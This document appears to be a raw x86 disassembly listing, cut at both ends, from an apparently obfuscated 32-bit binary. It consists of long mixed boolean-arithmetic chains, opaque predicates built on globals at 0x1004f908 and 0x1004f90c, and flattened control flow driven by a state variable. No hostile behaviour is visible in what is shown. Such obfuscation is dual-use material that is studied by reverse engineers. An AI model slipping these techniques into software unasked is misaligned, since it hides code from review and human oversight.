mov edi, edx
xor edi, 0x5093e972
mov ebx, edi
and edi, edx
mov ecx, edx
not ecx
and ebx, ecx
or ecx, esi
and esi, 0x5083e972
or eax, esi
mov edx, ebx
not edx
mov esi, edx
and esi, 0xbe2bc679
and ebx, 0x41d43986
or ebx, esi
mov esi, edi
not esi
or edx, esi
and esi, 0xbe2bc679
and edi, 0x41d43986
or edi, esi
xor edi, ebx
not edx
or edx, edi
xor edx, eax
xor edx, 0x100000
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x75d3d5a4
xor ecx, 0x8a2c2a5b
mov edx, ecx
and edx, 0xd9050376
and ecx, eax
and eax, 0x26fafc89
or eax, edx
mov edx, eax
xor edx, 0x4482081
xor eax, 0xd9050376
mov esi, ecx
not esi
mov edi, eax
and edi, 0x32b3df28
and edx, 0xcd4c20d7
or edx, edi
or eax, esi
and esi, 0x32b3df28
and ecx, 0xcd4c20d7
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x56473d60
and ecx, eax
xor eax, 0x5657fd7a
or eax, ecx
not ecx
and ecx, 0xa9b8c29f
and eax, 0x56473d60
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2319a35a
and eax, 0xdce65ca5
or eax, edx
xor eax, 0x2319a35a
xor ecx, eax
test ecx, eax
setne byte [esp + 8]
sete ah
cmp dword [0x1004f90c], 0xa
setge al
mov byte [esp], al
setl dl
mov ecx, edx
xor cl, al
mov ch, cl
xor ch, 1
mov al, cl
and al, ch
xor al, 1
mov dh, cl
xor dh, al
or cl, al
xor cl, 1
or cl, dh
mov dh, cl
xor dh, 1
and dh, cl
mov cl, al
xor cl, ch
or al, ch
xor al, 1
or al, cl
xor al, dh
mov cl, dh
xor cl, 1
or cl, ch
xor cl, 1
or cl, al
mov al, cl
xor al, 1
mov ch, al
and ch, cl
xor ch, 1
or ch, al
xor ch, 1
or ch, cl
xor ch, 1
mov byte [esp + 4], dl
mov cl, dl
inc cl
mov al, cl
and al, dl
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov dh, al
and dh, cl
xor dh, 1
or dh, cl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
and dh, al
xor dh, 1
mov cl, al
xor cl, dh
or dh, al
xor dh, 1
or dh, cl
mov bl, dh
xor bl, 1
mov dl, ch
mov bh, bl
and bh, dh
xor bh, 1
mov cl, dh
xor cl, bh
or bh, dh
xor bh, 1
or bh, cl
xor bl, ch
mov cl, ch
xor cl, bh
or bh, ch
xor ch, dh
xor ch, 1
and ch, dh
xor ch, 1
or dl, dh
mov al, ch
xor al, dl
or ch, dl
xor ch, 1
or ch, al
and bl, dh
xor bl, 1
mov al, bl
xor al, dl
or bl, dl
xor bl, 1
or bl, al
xor bh, 1
or bh, cl
xor cl, 1
mov al, cl
xor al, bh
or bh, cl
xor bh, 1
or bh, al
mov cl, bh
xor cl, 1
mov al, bl
xor al, 1
and bh, bl
and al, cl
or al, bh
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov bh, al
xor bh, 1
mov cl, ch
xor cl, 1
mov bl, ch
and bl, cl
xor bl, 1
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov dh, al
and dh, bh
xor dh, 1
mov dl, bh
xor dl, dh
or dh, bh
xor dh, 1
or dh, dl
mov dl, dh
xor dl, 1
or dh, bl
xor bl, 1
or bl, dl
xor dh, 1
xor bl, 1
or bl, dh
and al, ch
and cl, bh
or cl, al
or bh, ch
xor bh, 1
or bh, cl
mov al, bh
xor al, 1
mov dh, bl
xor dh, 1
and bh, bl
and dh, al
or dh, bh
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
mov ebx, ecx
and bl, dh
xor bl, 1
mov al, dh
or al, bl
xor al, 1
or cl, ah
xor cl, 1
mov dl, byte [esp + 8]
mov ch, dl
or ch, dh
xor ch, 1
or ch, cl
xor ch, 1
or ch, dl
mov bh, dl
xor bl, dh
or bl, al
xor bl, 1
mov al, bl
or al, dl
xor bl, dl
xor bl, 1
mov cl, bl
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov al, bl
xor al, 1
mov dh, al
and dh, bl
xor al, dh
xor dh, 1
or dh, bl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
mov bl, dh
and bl, al
xor bl, 1
or bl, al
xor bl, 1
or bl, dh
mov cl, bl
and cl, ch
mov al, ch
xor al, dh
and al, ch
xor ch, 1
xor bl, 1
and bl, ch
or bl, cl
xor dh, ch
mov ecx, eax
xor cl, 1
xor al, dh
xor dh, 1
or dh, cl
xor dh, 1
or dh, al
mov ch, dh
xor ch, 1
mov al, ch
and al, dh
xor al, 1
mov cl, al
xor cl, dh
or al, dh
xor al, 1
or al, cl
xor al, bl
mov cl, ch
xor cl, bl
or ch, bl
xor ch, 1
or ch, cl
xor ch, 1
or ch, al
movzx edx, byte [esp]
mov dh, dl
or dh, ah
mov cl, bh
movzx ebx, byte [esp + 4]
or cl, bl
mov al, dh
or al, cl
xor al, 1
xor dh, cl
or dh, al
xor ah, bl
or dl, ah
xor dl, 1
and ah, bl
xor ah, 1
mov al, ah
xor al, cl
or ah, cl
xor ah, 1
or ah, al
mov cl, dl
xor cl, ah
xor cl, 1
mov al, cl
and al, dl
xor al, 1
or ah, dl
or al, cl
xor al, 1
or al, ah
mov cl, al
xor cl, 1
and al, cl
xor al, 1
mov dl, cl
xor dl, al
or al, cl
xor al, 1
or al, dl
mov dl, al
xor dl, 1
mov cl, dh
xor cl, 1
mov ah, al
and ah, cl
and al, dh
and dh, dl
or dh, ah
xor dh, 1
or dh, cl
xor dh, 1
and cl, dl
or cl, al
or cl, dh
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov cl, al
xor cl, 1
mov edx, eax
and dl, cl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov cl, dl
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov al, ch
xor al, 1
and ch, al
mov bl, ch
xor bl, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ah, dl
and ah, al
xor ah, 1
or ah, dl
xor ah, 1
or ah, al
mov dh, ah
xor dh, 1
mov bh, dh
and bh, ah
xor dh, bh
xor bh, 1
or bh, ah
mov ah, cl
xor ah, 1
xor bh, 1
or bh, dh
mov dh, bh
or dh, ch
xor dh, 1
xor ch, bh
or dh, ch
or bl, bh
and ch, bh
xor ch, 1
mov bh, bl
xor bh, ch
or ch, bl
mov bl, ah
and bl, cl
xor bl, 1
or bl, cl
xor bl, 1
or bl, ah
xor dh, 1
xor ch, 1
or ch, bh
xor ch, dh
xor ch, 1
and dh, ch
xor dh, 1
mov bh, dh
xor bh, ch
or dh, ch
mov ch, bl
xor ch, 1
xor dh, 1
or dh, bh
and bl, ch
xor bl, 1
mov bh, bl
xor bh, ch
or bl, ch
xor bl, 1
or bl, bh
mov ch, bl
xor ch, 1
and bl, ch
xor bl, 1
mov bh, bl
xor bh, ch
or bl, ch
xor bl, 1
or bl, bh
mov bh, bl
xor bh, 1
mov ch, bh
and ch, bl
xor ch, 1
or ch, bl
xor ch, 1
or ch, bh
xor ch, dh
mov dh, dl
xor dh, ah
and cl, dl
or dl, ah
and al, ah
and dh, dl
xor dl, 1
or al, cl
or al, dl
mov cl, al
xor cl, 1
mov dl, dh
xor dl, al
and dl, dh
and al, dh
xor dh, 1
and dh, cl
mov cl, ch
xor cl, 1
or al, dh
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
mov ah, al
and ah, ch
and cl, dl
or cl, ah
and al, dl
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor cl, 1
or cl, ch
xor al, 1
or al, ah
xor al, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
test dl, 1
mov edi, 0xd1836a6d
mov ecx, 0x7466b852
cmovne edi, ecx
test ah, 1
mov edx, 0xd1836a6d
cmove edi, edx
jmp 0x1001ebf3
cmp edi, 0x6c83e67
je 0x100247f0
cmp edi, 0xf36ad19
jne 0x10011930
mov eax, dword [0x1004f908]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov dword [esp + 4], eax
mov ecx, edx
mov edi, edx
mov dword [esp], edx
and ecx, 0xbca53544
mov edx, eax
and eax, 0x435acabb
or eax, ecx
mov esi, eax
xor esi, 0x424a19
xor eax, 0xbca53544
and edx, 0x3b45cb15
mov ecx, edi
and ecx, 0xc4ba34ea
or ecx, edx
mov edi, ecx
xor edi, 0xc4ba34ea
xor ecx, 0x30458a00
and ecx, 0xf0678eca
mov edx, edi
and edx, 0xf987135
or edx, ecx
xor edx, 0xf987135
or edx, edi
mov edi, edx
not edi
and esi, 0x30e26b59
mov ecx, eax
and ecx, 0xcf1d94a6
or ecx, esi
xor ecx, 0xcf1d94a6
mov esi, ecx
and esi, 0xd16fc8fb
and eax, 0x2e903704
or eax, esi
mov esi, edx
and esi, 0xd16fc8fb
or ecx, edx
xor edx, 0x2e903704
and edx, edi
or edx, esi
mov esi, edx
xor esi, edx
not esi
and esi, eax
xor esi, edx
mov eax, ecx
not eax
mov edi, esi
not edi
mov edx, edi
and edx, 0x1330d328
and esi, 0xeccf2cd7
or esi, edx
or edi, ecx
and ecx, 0x1330d328
and eax, 0xeccf2cd7
or eax, ecx
xor eax, esi
not edi
or edi, eax
mov eax, edi
and eax, 0x56510fb1
mov esi, edi
not esi
mov edx, esi
and edx, 0xa9aef04e
or edx, eax
mov eax, edx
xor eax, 0xa9aef04e
mov ebx, edx
xor ebx, 0x18b3724
and ebx, eax
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfeeeaf14
and ebx, 0x11150eb
or ebx, ebp
or edi, 0x57da3895
or ecx, edi
and edi, 0xfeeeaf14
and esi, 0x1406a
or esi, edi
xor esi, ebx
mov ebp, dword [esp + 4]
mov edi, ebp
not ecx
or ecx, esi
xor edx, 0x2400c20
and edx, 0x2c41c20
mov esi, eax
and esi, 0xfd3be3df
or esi, edx
mov ebx, ecx
xor ebx, 0x10411059
xor esi, 0x9620ca33
and eax, 0x94e4d613
or eax, esi
xor ecx, 0xc33eee86
mov edx, ecx
and edx, 0x6dbe4724
and ebx, 0x9241b8db
or ebx, edx
mov edx, ebp
xor ebx, eax
xor ebx, 0x9241b8db
or ecx, eax
not ecx
or ecx, ebx
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xa2329ae1
and eax, 0x5dcd651e
or eax, esi
xor eax, 0x5dcd651e
or eax, ecx
mov esi, dword [esp]
mov ecx, esi
or ecx, 0x6b1b29ec
and esi, 0x94e4d613
and edi, 0x6b1b29ec
or edi, esi
mov esi, ecx
and esi, 0x2e943107
and edx, 0x9060c610
or edx, esi
mov esi, edi
not esi
or ecx, esi
and esi, 0x2e943107
and edi, 0xd16bcef8
or edi, esi
mov ebx, eax
not ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
xor edx, 0x45e10c0b
and edx, ecx
mov esi, ecx
not esi
or esi, edx
not edx
and edx, 0xba1ef3f4
and esi, 0x45e10c0b
or esi, edx
mov ecx, esi
not ecx
and esi, 0x81a9b0e
and ecx, 0xf7e564f1
or ecx, esi
mov edx, ebx
or edx, 0x1009a410
and edx, 0xdb49bc30
mov esi, eax
and esi, 0x240442cb
or esi, edx
mov edx, eax
or edx, 0xcb401820
and edx, 0xdb49bc30
mov edi, ebx
and edi, 0xb20104
or edi, edx
xor edi, esi
mov ebp, edi
mov esi, ecx
xor esi, 0xf7e564f1
xor ecx, 0x81a9b0e
mov edx, esi
mov dword [esp + 0x20], esi
or edx, 0x960e512c
and edx, 0xb68e5b6e
mov edi, ecx
and edi, 0x940a080
or edi, edx
mov edx, ecx
or edx, 0x20800a42
and edx, 0xb68e5b6e
and esi, 0x40310411
or esi, edx
xor esi, edi
mov dword [esp + 0xc], ebp
mov edx, ebp
xor edx, 0x10bba514
mov dword [esp + 8], edx
mov edx, ebp
mov edi, ebp
xor edi, 0xef445aeb
mov edx, edi
mov ebp, edi
mov dword [esp + 0x10], edi
and edx, 0x509ae8e1
mov edi, dword [esp + 8]
and edi, 0xaf65171e
or edi, edx
xor edi, 0x525ab0e8
mov edx, edi
xor edx, ebp
and edx, edi
mov edi, eax
and edi, 0xfd3fa7f6
and ebx, 0x2c05809
or ebx, edi
xor eax, ebx
and eax, ebx
mov ebx, esi
xor ebx, 0xd63f553d
mov dword [esp + 0x14], ebx
xor esi, 0x29c0aac2
mov edi, esi
mov ebp, esi
mov dword [esp + 0x18], esi
and edi, 0x932690d3
and ebx, 0x6cd96f2c
or ebx, edi
or ecx, 0x80230066
mov esi, dword [esp + 0x20]
and esi, 0x804001
and ecx, 0x8263186e
or ecx, esi
mov edi, eax
not edi
mov esi, edx
xor esi, edi
and esi, edx
xor edi, eax
and edi, edx
xor edi, eax
or edi, esi
mov dword [esp + 0x20], edi
xor ebx, 0x6e193725
or ebx, ebp
mov eax, ebx
not eax
mov edx, ebx
and edx, 0xf7cb6322
xor ebx, 0xeb340cfe
and ebx, eax
and eax, 0x8349cdd
or eax, edx
mov edx, eax
xor edx, 0x8349cdd
mov esi, eax
xor esi, 0xe3009023
and esi, edx
or ebx, esi
mov ebp, ecx
xor ebp, 0x8263186e
mov esi, ecx
xor esi, 0x7d9ce791
mov edi, esi
and edi, 0x14cb7201
xor ecx, 0x2804809
and ecx, ebp
or ecx, edi
xor ecx, ebx
xor eax, 0xf7cb6322
mov edi, eax
and edi, 0xe8b96fc7
and edx, 0x17469038
or edx, edi
or eax, ebp
and ebp, 0x804801
and esi, 0x17469038
or esi, ebp
xor esi, edx
not eax
or eax, esi
xor ecx, 0x8100
not eax
or eax, ecx
mov edx, eax
xor edx, 0xf9b1544f
and edx, eax
mov ecx, eax
or eax, 0x64eabb0
not ecx
mov esi, eax
and esi, 0xf720946a
and ecx, 0x8914005
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0xf720946a
and edx, 0x8df6b95
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, dword [esp + 0x20]
xor ecx, 0xf9b1544f
mov ebp, eax
xor ebp, eax
not ebp
and ebp, ecx
xor ebp, eax
mov edx, dword [esp + 0xc]
xor edx, 0xedf5bd67
mov eax, dword [esp + 8]
and edx, eax
mov ecx, dword [esp + 0x10]
and ecx, 0xacd84e31
and eax, 0x5327b1ce
or eax, ecx
xor eax, 0x5327b1ce
mov ecx, eax
and ecx, 0xfd4e1873
or edx, ecx
mov ecx, dword [esp + 0x18]
or eax, ecx
and ecx, 0xfd4e1873
mov esi, dword [esp + 0x14]
and esi, 0x2b1e78c
or esi, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x8888a4
and eax, 0x4e11200b
or eax, edx
xor eax, 0x4e11200b
and ecx, 0xb1665750
or ecx, eax
mov edx, ecx
not edx
and ecx, 0xfcab4e60
and edx, 0x354b19f
or edx, ecx
mov eax, edx
xor eax, 0x354b19f
mov ecx, eax
mov dword [esp + 0xc], eax
mov eax, edx
xor eax, 0xfcab4e60
mov dword [esp + 8], eax
and eax, 0x99f34207
xor edx, 0x9aa7f398
and edx, ecx
or edx, eax
mov edi, ebp
not edi
mov ebx, ebp
xor ebx, 0x99f34207
mov esi, ebx
and esi, edi
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x90fe182b
and esi, 0x6f01e7d4
or esi, ecx
and ebx, ebp
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0x90fe182b
and ebx, 0x6f01e7d4
or ebx, ecx
xor ebx, esi
not eax
or eax, ebx
xor eax, edx
mov ecx, ebp
and ecx, 0xe1afd5a3
and edi, 0x1e502a5c
or edi, ecx
mov ecx, dword [esp + 0xc]
or ebp, ecx
and ecx, 0xe1afd5a3
mov edx, ecx
mov ecx, dword [esp + 8]
and ecx, 0x1e502a5c
or ecx, edx
xor ecx, edi
not ebp
or ebp, ecx
not ebp
or ebp, eax
mov ecx, ebp
not ecx
mov edx, ebp
xor edx, 0x189c7ee6
and edx, ebp
mov eax, ecx
or eax, edx
not edx
and edx, 0xe7638119
and eax, 0x189c7ee6
or eax, edx
mov edx, ecx
and edx, 0x90cbf7f0
and ebp, 0x6f34080f
or ebp, edx
xor ecx, ebp
and ecx, ebp
mov edx, ecx
not edx
mov dword [esp + 8], edx
and edx, 0xae7557de
mov dword [esp + 0xc], ecx
mov edi, ecx
xor edi, 0xae7557de
and edi, ecx
or edi, edx
mov edx, eax
not edx
mov esi, edx
or esi, 0x6f34080f
mov ebp, esi
xor ebp, 0x518aa821
and ebp, esi
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0x40c198e1
and ebp, 0x943e6718
or ebp, ecx
or edx, 0xef755fdf
or ebx, edx
and edx, 0x6ac198e7
and eax, 0x100a2000
or eax, edx
xor eax, ebp
not ebx
or ebx, eax
mov edx, edi
xor edx, edi
not edx
and edx, ebx
xor edx, edi
mov edi, esi
not edi
mov eax, edi
and eax, 0x8041b3c0
and esi, 0x569a4c3f
or esi, eax
mov eax, dword [esp + 0xc]
or edi, eax
and eax, 0xa965b3c0
mov ecx, dword [esp + 8]
and ecx, 0x569a4c3f
or ecx, eax
mov ebx, dword [esp + 4]
mov eax, ebx
xor ecx, esi
not edi
or edi, ecx
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x5ce2ced7
and edx, 0xa31d3128
or edx, ecx
mov ecx, edi
not ecx
or esi, edi
and edi, 0x5ce2ced7
and ecx, 0xa31d3128
or ecx, edi
xor ecx, edx
not esi
or esi, ecx
mov ecx, esi
mov edx, esi
xor edx, 0x3e1ff88e
and edx, esi
not esi
or ecx, 0xc1e00771
mov edi, ecx
and edi, 0xc00918fb
and esi, 0x3e16e004
or esi, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0xc00918fb
and edx, 0x3ff6e704
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0xc5cf2693
xor ecx, 0x3a30d96c
mov esi, edx
mov edi, ecx
and edi, 0x47fa19fb
and edx, 0xb805e604
or edx, edi
mov ebp, ecx
xor edx, 0x47fa19fb
or edx, ecx
and ecx, 0x58347805
and esi, 0x50903a8
or esi, ecx
xor esi, 0x50903a8
and ebp, 0xa2c28452
or ebp, esi
mov ecx, ebp
xor ecx, 0x5cb4117a
not ebp
xor ecx, ebp
xor ecx, 0x5cb4117a
and ecx, edx
xor ecx, ebp
or ebp, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x98dc6689
and ecx, 0x67239976
or ecx, edx
mov edi, ebx
mov ebx, dword [esp]
and eax, ebx
xor ecx, ebp
or esi, ebp
mov ebp, ebx
and edi, 0xa85b2eb8
mov edx, ebx
and ebx, 0x57a4d147
or ebx, edi
xor ebx, 0xa85b2eb8
mov edi, dword [esp + 4]
or ebx, edi
xor ecx, 0x67239976
not esi
or esi, ecx
mov ecx, eax
not ecx
and ebp, 0x72d74f89
and edi, 0x8d28b076
or edi, ebp
or edx, ecx
and ecx, 0x72d74f89
and eax, 0x8d28b076
or eax, ecx
xor eax, edi
not edx
or edx, eax
xor ebx, edx
and edx, ebx
not ebx
or ebx, edx
mov dword [esp + 8], esi
mov ebp, esi
not ebp
mov eax, ebp
and eax, 0x18d003d0
mov ecx, esi
and ecx, 0x4004940a
or ecx, eax
xor ecx, 0x4004940a
mov edx, esi
xor edx, 0x58d497da
and edx, esi
or edx, ecx
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x40209202
mov eax, ebx
and eax, 0x1500049
or eax, ecx
mov edi, eax
xor edi, 0x500000
xor eax, 0x7e086a24
and eax, 0x7f086a6d
and edi, 0x709002
or edi, eax
mov eax, esi
and eax, 0x31248a8c
mov ecx, ebx
and ecx, 0xcedb7573
or ecx, eax
xor ecx, 0xdd69f1d9
or ecx, esi
mov dword [esp], ecx
or esi, 0x41000249
and esi, 0x7f086a6d
and ebx, 0x80870590
or ebx, esi
mov eax, edx
xor edx, 0xa72b6825
mov dword [esp + 0x14], edx
xor ebx, edi
xor eax, 0x58d497da
mov dword [esp + 4], eax
and eax, 0x128284a8
mov ecx, edx
and ecx, 0x1300002
or ecx, eax
mov eax, ebx
xor eax, 0xbe8f6db4
mov dword [esp + 0x10], eax
xor ebx, 0x4170924b
and eax, 0x737104f8
mov edx, ebx
mov dword [esp + 0xc], ebx
and edx, 0x8c8efb07
or edx, eax
xor edx, 0x9f3c7fad
mov esi, ebx
and esi, 0xec4d7b55
or esi, edx
xor ecx, 0x1300002
or ecx, 0xec4d7b55
mov eax, ecx
not eax
mov edx, ecx
and edx, eax
and ecx, 0x2dcf46de
and eax, 0x12308020
or eax, ecx
or ebp, 0x182048a
and ebp, 0x2dcf46de
mov ecx, dword [esp + 8]
and ecx, 0xc0003901
or ecx, ebp
xor ecx, eax
or ecx, edx
mov dword [esp + 8], ecx
mov ebp, esi
not ebp
mov eax, esi
and eax, 0xd0c1ed2e
xor esi, 0xc997b811
and esi, ebp
and ebp, 0x2f3e12d1
or ebp, eax
mov eax, dword [esp]
mov edx, eax
not edx
and eax, 0xd2cc6178
mov edi, edx
and edi, 0x2d339e87
or edi, eax
mov ebx, ebp
xor ebx, 0x2f3e12d1
mov eax, ebp
xor eax, 0xe6a9aac0
and eax, ebx
or esi, eax
mov ecx, edi
xor ecx, 0x2d339e87
mov eax, edi
xor eax, 0xe4a42696
and eax, ecx
and edx, 0xc997b811
or edx, eax
xor edx, esi
xor ebp, 0xd0c1ed2e
mov eax, ebp
and eax, 0xbcaef163
and ebx, 0x43510e9c
or ebx, eax
xor edi, 0xd2cc6178
or ebp, edi
and edi, 0xbcaef163
and ecx, 0x43510e9c
or ecx, edi
xor ecx, ebx
not ebp
or ebp, ecx
mov esi, edx
not esi
mov eax, esi
and eax, 0xee15a80e
and edx, 0x11ea57f1
or edx, eax
mov eax, ebp
not eax
or esi, ebp
and ebp, 0xee15a80e
and eax, 0x11ea57f1
or eax, ebp
xor eax, edx
not esi
or esi, eax
mov eax, esi
not eax
mov ebp, esi
xor ebp, 0x8176e6fc
and eax, ebp
and ebp, esi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x92f33b4e
and eax, 0x6d0cc4b1
or eax, ecx
mov ecx, ebp
not ecx
or edi, ecx
and ecx, 0x92f33b4e
and ebp, 0x6d0cc4b1
or ebp, ecx
xor ebp, eax
not edi
or edi, ebp
xor edi, dword [esp + 8]
mov eax, dword [esp + 4]
and eax, 0xa29a86ed
mov edx, dword [esp + 0x14]
and edx, 0x5d657912
or edx, eax
mov eax, dword [esp + 0xc]
and eax, 0x4830bb85
mov esi, dword [esp + 0x10]
and esi, 0xb7cf447a
or esi, eax
mov ebp, edx
xor ebp, 0x5d657912
mov ecx, edx
xor ecx, 0xeaaa3d68
and ecx, ebp
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x50328e92
and ecx, 0xafcd716d
or ecx, ebx
mov ebx, dword [esp + 4]
or ebx, 0x4830bb85
or eax, ebx
and ebx, 0x50328e92
mov dword [esp + 4], ebx
mov ebx, dword [esp + 0x14]
and ebx, 0xa7cd4068
add ebx, dword [esp + 4]
xor ebx, ecx
not eax
or eax, ebx
mov ebx, esi
xor ebx, esi
not ebx
and ebx, eax
xor ebx, esi
xor edx, 0xa29a86ed
mov eax, edx
and eax, 0x94bf7664
and ebp, 0x6b40899b
or ebp, eax
xor edi, 0x8176e6fc
mov eax, dword [esp + 0x10]
or edx, eax
and eax, 0x94bf7664
mov ecx, eax
mov eax, dword [esp + 0xc]
and eax, 0x6b40899b
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x32228847
and ebx, 0xcddd77b8
or ebx, eax
xor ebx, edx
xor ebx, 0xcddd77b8
or ecx, edx
not ecx
or ecx, ebx
mov eax, ecx
not eax
mov edx, edi
xor edx, ecx
and edx, edi
xor ecx, eax
and ecx, edi
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x5739c179
mov edi, ecx
and edi, 0xa8c63e86
or edi, edx
mov edx, edi
xor edx, 0x20861884
xor edi, 0x314051
and edx, 0x778e99ac
and edi, 0x88716653
or edi, edx
mov edx, edi
xor edx, 0x27ecc711
xor edi, 0x88716653
and edi, edx
or eax, 0x40420614
and ecx, 0xaf852102
and eax, 0x405a8654
or eax, ecx
mov ecx, eax
xor ecx, 0x405a8654
mov ebx, eax
xor ebx, 0x1c20598a
mov edx, edi
mov esi, edi
xor esi, 0xcb68cae2
and esi, edi
not edi
and ebx, 0x1c7a5b8e
xor eax, 0x8b100002
and eax, ecx
and ecx, 0xa385a040
or ecx, ebx
xor ecx, 0xe385a471
or edx, 0x3497351d
mov ebx, ecx
and ebx, 0xcb68cae2
or eax, ebx
mov ebx, edx
and ebx, 0xa089222c
or ecx, edi
and edi, 0x4b60c8c2
or edi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0xa089222c
and esi, 0x5f76ddd3
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov edx, esi
not edx
mov eax, edx
and eax, 0x34049082
and esi, 0xcbfb6f7d
or esi, eax
or edx, ecx
and ecx, 0xbffffbce
xor ecx, esi
xor ecx, 0x8bfb6b4c
not edx
or edx, ecx
mov eax, edx
mov ecx, edx
xor ecx, 0x6510aed7
and ecx, edx
not edx
or eax, 0x9aef5128
mov esi, eax
and esi, 0x8f213e5d
and edx, 0x60108082
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x8f213e5d
and ecx, 0x70dec1a2
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xc732be1b
mov edx, eax
xor edx, 0xca8d0f95
and ecx, 0xc000000
xor eax, 0xa7d567a5
and eax, edx
and edx, 0x61586830
or edx, ecx
xor edx, 0x61586830
or eax, edx
mov ecx, eax
xor ecx, 0x92a797cf
xor eax, 0x6d586830
mov edx, eax
and edx, ecx
and eax, 0x65c13a5d
and ecx, 0x9a3ec5a2
or ecx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0x52edb96c
and edx, 0xad124693
or edx, esi
mov esi, ecx
xor esi, 0x25000211
xor ecx, 0x9a3ec5a2
or eax, ecx
and ecx, 0x52edb96c
and esi, 0xad124693
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x67aa712c
and ecx, eax
and eax, 0x98558ed3
or eax, edx
xor eax, 0x98558ed3
or eax, ecx
xor eax, 0x2789630f
xor eax, 0x2789630f
sete byte [esp]
setne al
cmp dword [0x1004f90c], 0xa
setge dl
setl cl
mov ch, cl
xor ch, al
mov dh, al
mov bh, al
inc bh
mov bl, bh
and bl, al
xor bl, 1
or bl, al
or al, cl
and al, ch
mov ch, al
xor ch, 1
mov ah, ch
and ah, al
xor ch, ah
xor ah, 1
or ah, al
xor ah, 1
or ah, ch
mov al, cl
xor al, ah
xor al, 1
mov ch, dl
xor dl, ah
or ah, ch
xor ah, 1
or ah, dl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov byte [esp + 8], al
mov al, cl
mov dl, byte [esp]
and al, dl
or dl, ch
xor dl, 1
and dh, ch
or dh, al
or dh, dl
mov dl, dh
xor dl, 1
xor bl, 1
or bl, bh
xor cl, bl
and cl, bl
or bl, ch
xor cl, 1
mov al, cl
xor al, bl
or cl, bl
xor cl, 1
or cl, al
xor cl, 1
or cl, ch
mov al, cl
xor al, 1
mov ebx, ecx
and bl, dh
or cl, dl
and dl, al
or dl, bl
mov ebx, edx
xor bl, dh
and bl, dl
xor cl, 1
or al, dh
xor al, 1
or al, cl
xor bl, 1
mov ecx, eax
xor cl, 1
or cl, bl
xor bl, al
mov al, bl
xor al, cl
or bl, cl
xor bl, 1
or bl, al
mov dh, ah
mov ch, byte [esp + 8]
and dh, ch
xor dh, 1
mov al, dh
or al, ch
xor al, 1
or ah, al
mov cl, ah
xor cl, 1
mov dl, cl
and dl, ah
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov byte [esp], bl
mov ah, bl
xor ah, 1
mov cl, ch
xor dh, ch
or dh, al
mov al, ch
xor al, dh
or dh, ch
xor dh, 1
or dh, al
xor dh, 1
mov cl, ah
and cl, bl
xor cl, 1
mov ebx, edx
xor bl, dh
mov al, bl
and al, dh
mov bh, bl
and bh, dl
mov byte [esp + 4], dl
mov ch, al
xor ch, 1
xor al, bh
xor bh, 1
or bh, ch
xor bh, 1
or bh, al
or dh, dl
xor bl, 1
mov al, bl
xor al, dh
or bl, dh
xor bl, 1
or bl, al
mov al, bl
xor al, 1
mov dh, al
mov ch, bh
or al, bh
xor bh, 1
and dh, bh
and ch, bl
or ch, dh
mov dh, ah
or dh, cl
xor dh, 1
mov dl, byte [esp]
or dh, dl
xor dh, 1
xor bh, bl
xor al, 1
or al, bh
xor ch, 1
mov bl, ch
xor bl, al
or ch, al
xor ch, 1
or ch, bl
or cl, dl
xor cl, 1
mov bl, dh
